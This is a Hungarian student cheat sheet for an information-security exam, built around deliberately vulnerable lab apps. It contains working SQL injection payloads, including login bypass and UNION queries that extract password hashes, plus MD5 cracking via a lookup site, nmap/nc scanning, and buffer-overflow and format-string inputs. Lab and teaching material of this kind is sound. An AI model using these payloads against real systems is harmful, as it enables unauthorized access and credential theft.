Információbiztonság ZH jegyzetek – rendezett lépésről lépésre guide
Ez az oldal a PDF-jegyzet és a plusz rendezett jegyzet alapján készült. A cél: ZH közben ne szétszórt parancsokat láss, hanem pontos sorrendet: mit próbálj először, mit jelent az eredmény, és hova lépj tovább.
0. Általános tudnivalók
Mit várj?
A ZH egy megadott címen vagy weboldalon lesz elérhető. Először valószínűleg regisztrálni kell, általában a saját Neptun-kóddal, nagybetűkkel.
Plusz anyag
A következő óra anyaga is benne lehet a ZH-ban. A jobb jegyhez várhatóan lesz nehezebb crackelős, buffer overflow / túlcsordulás jellegű rész is.
Várható témák
1. Rövid ZH-stratégia
Ha elakadsz, ne random próbálkozz. Menj végig ezen a döntési fán.
Először nézd meg, működik-e egyszerű SQLi bypass vagy UNION SELECT. Ha igen, utána jöhet az oszlopszám és a séma.
Inspecttel nézd meg a HTML-t. Kliensoldali value módosítás lehet a megoldás.
Nmap-pel portot keresel, majd ncat/nc segítségével kapcsolódsz a szolgáltatáshoz.
Futtatod, jogosultságot adsz, inputtal próbálod, és figyeled az oszthatóságot, memória/logikai feltételt vagy túlcsordulást.
2. Lab indítás
A megadott SQLi gyakorlók Dockerből futnak. Egyszerre csak az egyik használja az 8000-es portot.
PHP + SQLite alapú feladatsor
sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/sqlite-php-appMegnyitás: http://127.0.0.1:8000
Második PHP + SQLite app
sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/php-sqlite-app2Ha portütközés van, állítsd le az előző konténert.
3. SQL injection feladat
Cél: belépési bypass, majd adatbázis-séma feltérképezése, végül a szükséges felhasználói adat / hash kinyerése.
3.1. Alap belépési bypass
Első gyors próba login mezőben:
' OR 1=1;--
Jelszó mezőbe ilyenkor lehet bármi, például:
1234
Mi történik logikailag?
Az eredeti lekérdezés kb. ilyen lehet:
SELECT * FROM users WHERE name = 'BEÍRT_NÉV' AND password = 'BEÍRT_JELSZÓ';Ha a név mezőbe ez kerül: ' OR 1=1;--, akkor a feltétel mindig igazra fordul, a -- pedig kommenteli a lekérdezés hátralévő részét.
A PDF-ben szereplő SQLite-specifikus login példa:
ABCDEFG'; --
Itt az ABCDEFG a saját Neptun-kód / azonosító helye. A cél, hogy a jelszófeltétel már ne fusson le.
3.2. UNION SELECT – oszlopszám kitalálása
A UNION SELECT-nél pontosan ugyanannyi oszlopot kell visszaadni, mint amennyit az eredeti lekérdezés is visszaad. Ezért először oszlopszámot keresel.
' UNION SELECT 1;--
' UNION SELECT 1,1;--
' UNION SELECT 1,1,1;--
' UNION SELECT 1,1,1,1;--
A PDF-ben a szűrős résznél ez a próba szerepel, ahol a számok megmutatják, melyik oszlop jelenik meg:
' UNION SELECT 1,2,3,4 --
3.3. SQLite adatbázis-séma lekérdezése
SQLite esetén a metaadatokat a sqlite_master táblából lehet lekérdezni. Ebben vannak a táblanevek és a CREATE TABLE parancsok.
| Mező | Jelentés |
|---|---|
| name | Objektum / tábla neve. |
| tbl_name | Kapcsolódó táblanév. |
| rootpage | SQLite belső oldalazonosító. |
| sql | A létrehozó SQL, például CREATE TABLE users (...). |
Általános próba:
' UNION SELECT 1,sql,1,1 FROM sqlite_master;--
A PDF-ben szereplő, látványosabb 4 oszlopos változat:
' UNION SELECT name,sql,3,4 FROM sqlite_master --
Ha ez sikerül, a válaszban láthatók lehetnek például: users, datausrbb, animals, valamint ezek oszlopai.
3.4. Users tábla lekérdezése
Ha a sémából kiderül, hogy van users tábla és benne name, passphrase, pwd mező, akkor:
' UNION SELECT 1,name,passphrase,pwd FROM users;--
A PDF-ben szereplő másik oszlopsorrendes forma:
' UNION SELECT name,passphrase,pwd,4 FROM users --
3.5. Másik tábla / DATAUSRBB lekérdezése
A jegyzetben szerepel egy másik kulcsfontosságú tábla is. A két szélső 1 csak kitöltő, hogy meglegyen a 4 oszlop:
' UNION SELECT 1,name,key,1 FROM DATAUSRBB;--
A PDF-ben ugyanez konkrétan így szerepel:
' UNION SELECT id,name,key,4 FROM datausrbb --
Itt a cél a saját Neptun-kódhoz tartozó sor és a hozzá tartozó hash / kulcs megtalálása.
3.6. MD5 hash visszafejtés
- SQL injectionnel lekéred a hash-t.
- A hash-t bemásolod egy MD5 lookup/decrypt oldalra, például: md5decrypt.net.
- Ha ismert a hash, megkapod az eredeti jelszót.
- A megszerzett jelszóval belépsz a laborfeladatban.
3.7. SQLi gondolatmenet ZH-n
- Belépési bypass kipróbálása: ' OR 1=1;--
- UNION SELECT oszlopszám tesztelése: 1, majd 1,1, majd 1,1,1, majd 1,1,1,1.
- SQLite séma lekérése: sqlite_master.
- Táblanevek és oszlopnevek azonosítása.
- Felhasználói adatok lekérése: users vagy DATAUSRBB.
- Hash visszafejtése.
- Belépés a megszerzett laboradatokkal.
4. Weboldali érték módosítása Inspecttel
Egyszerűbb webes manipulációs feladat: például „100 pizzát inspecttel átírom”. A lényeg, hogy a kliensoldali érték nem megbízható, ha a szerver nem ellenőrzi.
Nyisd meg a Developer Tools-t.
Legördülő listánál a <select> és <option> elemeket keresd.
Például:
<option value="100">100</option>Ha a szerver elfogadja, akkor a feladat azt demonstrálja, hogy nincs megfelelő szerveroldali validáció.
5. Nmap és ncat feladat
Itt a cél először a nyitott port megtalálása, aztán kapcsolódás a szolgáltatáshoz, majd a visszakapott információk értelmezése.
5.1. Portfelderítés Nmap-pel
A PDF-ben szereplő porttartományos alap parancs:
nmap 10.6.12.105 -p 30000-31000
Ha lassú vagy SYN scan kell:
sudo nmap 10.6.12.105 -sS -p 30000-31000
A rendezett jegyzetben szereplő részletesebb változat:
nmap -A 10.6.12.105 -p 3000-
| Kapcsoló | Jelentés |
|---|---|
| -p 30000-31000 | Csak ezt a porttartományt vizsgálja. |
| -sS | SYN scan, sokszor gyorsabb / halkabb működésű scan. |
| -A | Részletesebb felderítés: szolgáltatás, verzió, OS-próbálgatás. |
| -p 3000- | 3000-es porttól felfelé vizsgál. |
5.2. Nyitott portok a jegyzetekben
30102
A PDF-ben a példa szerint a nyitott port 30102 lett.
3790
A másik jegyzet szerint a nyitott port 3790 volt.
5.3. Kapcsolódás ncat / nc segítségével
PDF szerinti forma:
nc 10.6.12.105 30102
Rendezett jegyzet szerinti forma:
ncat 10.6.12.105 3790
A PDF szerint enter után be kell írni a saját Neptun-kódot.
A visszakapott értéket kell beírni a webes feladat „visszaadott érték” mezőjébe, vagy abból kell következtetni.
Ha kész vagy: Ctrl + C.
5.4. Gyilkossági ügy / nyomozós logika
A rendezett jegyzet szerint lehet olyan feladat, ahol az ncat kapcsolat után visszakapott adatokból kell kideríteni a gyilkost.
- Nmap-pel megkeresed a nyitott portot.
- ncat/nc segítségével csatlakozol.
- Megadod a Neptun-kódot.
- Elolvasod a visszakapott információkat.
- Nyomok alapján következtetsz a gyilkosra.
- A választ beküldöd.
6. C programos / buffer overflow jellegű feladat
A jobb jegyhez várhatóan lehet ilyen nehezebb rész: bináris futtatás, fordítás SECRET konstanssal, input fájlból futtatás, túlcsordulás vagy logikai feltétel teljesítése.
6.1. Program futtatása
chmod a+x ABCDEFG.prog
./ABCDEFG.prog
Input fájlból futtatás:
./ABCDEFG.prog < inp
6.2. Fordítás SECRET konstanssal
A -D opcióval fordításkor makrót definiálsz.
gcc -D SECRET=AB00 program.c -o program
Ez azt jelenti, hogy a C kódban a SECRET nevű érték fordításkor lesz megadva.
6.3. Secret1 – oszthatósági logika
A jegyzet alapján: 999 osztható 3-mal, megvan a secret1.
999 / 3 = 333
Tehát ha a program olyan számot kér, amelynek oszthatónak kell lennie 3-mal, a 999 jó próba.
6.4. Format string / memóriaolvasás – várhatóan nem ZH
A jegyzetben szerepel, de megjegyzés szerint nem ez lesz ZH-ban:
%x:%x:%x:%x:%x
A %x hexadecimális formában írhat ki memóriaértékeket, ha a program hibásan kezeli a formázott kiírást.
6.5. Secret2 – buffer overflow, sok 9-es
A jegyzet szerint: Secret2-höz buffer overflow kell, mindenhova 9.
999999999999999999999999999999999999
A cél az lehet, hogy egy túl hosszú bemenet felülírjon egy közeli változót a memóriában.
6.6. Megjegyzendő memóriaérték
A rendezett jegyzet szerint:
user_value-tól balra levő memóriaérték: A082FEFE
Ez valószínűleg hexadecimális memóriaérték vagy secret/kulcs jellegű adat. ZH-n ezt külön érdemes megjegyezni.
6.7. Unsigned char túlcsordulás – PDF szerinti példa
A PDF-ben szereplő logika: a C a karaktereket ASCII szerint számként is kezeli. A nagy B értéke 66. Ha a programban ez történik: item *= item2, majd az a feltétel, hogy item == 8, akkor unsigned char esetén 256-tal modulozva kell gondolkodni.
(66 * item2) mod 256 == 8
66 * item2 = 264
item2 = 264 / 66 = 4
| Karakter | ASCII | Miért fontos? |
|---|---|---|
| B | 66 | Ezzel számol a példában. |
| unsigned char | 0–255 | 256 után körbefordul. |
| item2 | 4 | A PDF-példa szerint ez teljesíti a feltételt. |
7. Mailserver gyakorló feladat
Ez egy sérülékeny PHP–MySQL alapú webalkalmazás, amely SQLi mellett több webes sérülékenység gyakorlására jó. Docker Compose-zal kell buildelni az image-et a megadott GitHub leírás alapján.
- Docker Compose build és indítás a GitHub leírás szerint.
- Login oldalon felhasználónév: rosalinda.
- Jelszó nélküli belépéshez SQLi gondolkodás: idézőjel, OR feltétel, komment, hibaüzenet figyelése.
- Belépés után nézd át a beérkező és küldött üzeneteket.
- Korábbi üzenetekhez keress IDOR-t: módosítható-e message id / URL-paraméter?
- Ha van üzenetküldés vagy profilmező, vizsgáld meg, tárol-e HTML/JS-t. Ez a „maradandó felugró ablak” = stored XSS irány.
- Ha a feladat fiókból kizárást említ, gondold végig: jelszócsere, session, jogosultsági hiba – de csak a lab appban.
Mit írj bizonyítékként?
Érintett mező, használt input, kapott eredmény, képernyő vagy visszajelzés, javítás: prepared statement, szerveroldali jogosultságellenőrzés, output encoding, CSRF-védelem.
8. OWASP gyakorló feladat – Mutillidae
A Mutillidae a DVWA-hoz hasonló direkt sérülékeny alkalmazás. A metasploitable dockerben érhető el.
sudo docker run -it --rm --name metasploitable --hostname metasploitable2 tleemcjr/metasploitable2 bash
A docker bash-ben:
services.sh
Böngészőben:
http://172.17.0.2/mutillidae
| Téma | Hol keresd? | Javítás |
|---|---|---|
| SQLi | Login, kereső, ID-paraméter | Prepared statement |
| XSS | Komment, profil, keresés, üzenet | Output encoding, CSP |
| Auth / IDOR | Más rekord ID-jának megnyitása | Szerveroldali jogosultságellenőrzés |
| Fájlkezelés | Feltöltés, letöltés, path paraméter | Allowlist, sandbox |
9. Hasznos parancsok egy helyen
' OR 1=1;--
' UNION SELECT 1;--
' UNION SELECT 1,1;--
' UNION SELECT 1,1,1;--
' UNION SELECT 1,1,1,1;--
' UNION SELECT 1,sql,1,1 FROM sqlite_master;--
' UNION SELECT name,sql,3,4 FROM sqlite_master --
' UNION SELECT 1,name,passphrase,pwd FROM users;--
' UNION SELECT name,passphrase,pwd,4 FROM users --
' UNION SELECT 1,name,key,1 FROM DATAUSRBB;--
' UNION SELECT id,name,key,4 FROM datausrbb --chmod a+x ABCDEFG.prog
./ABCDEFG.prog
./ABCDEFG.prog < inp
gcc -D SECRET=AB00 program.c -o programFormat string próba%x:%x:%x:%x:%xnmap 10.6.12.105 -p 30000-31000
sudo nmap 10.6.12.105 -sS -p 30000-31000
nmap -A 10.6.12.105 -p 3000-ncat / ncnc 10.6.12.105 30102
ncat 10.6.12.105 3790sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/sqlite-php-app
sudo docker run --rm -it -p 127.0.0.1:8000:80/tcp pengoe/php-sqlite-app2
sudo docker run -it --rm --name metasploitable --hostname metasploitable2 tleemcjr/metasploitable2 bash
services.sh10. Amit külön érdemes bemagolni
sqlite_master
name, tbl_name, rootpage, sql
' UNION SELECT 1,sql,1,1 FROM sqlite_master;--
' UNION SELECT 1,name,passphrase,pwd FROM users;--
nmap -A IP -p 3000-
ncat IP PORT
chmod a+x fájlnév
./program < inp
999, mert osztható 3-mal.
Buffer overflow: sok 9.
A082FEFE
Nagyon rövid puskaszerű összefoglaló
SQLi login: ' OR 1=1;--
UNION oszlopszám: ' UNION SELECT 1,1,1,1;--
SQLite séma: ' UNION SELECT 1,sql,1,1 FROM sqlite_master;--
Users: ' UNION SELECT 1,name,passphrase,pwd FROM users;--
MD5: hash -> md5decrypt.net -> jelszó -> belépés
Inspect: value átírása HTML-ben, pl. 100 pizza
C: chmod a+x ABCDEFG.prog ; ./ABCDEFG.prog ; ./ABCDEFG.prog < inp
Fordítás: gcc -D SECRET=AB00 program.c -o program
Secret1: 999, mert osztható 3-mal
Secret2: buffer overflow, sok 9-es
Nmap: nmap -A 10.6.12.105 -p 3000-
ncat: ncat 10.6.12.105 3790
Utána: Neptun-kód, visszakapott információk, gyilkossági ügy megoldása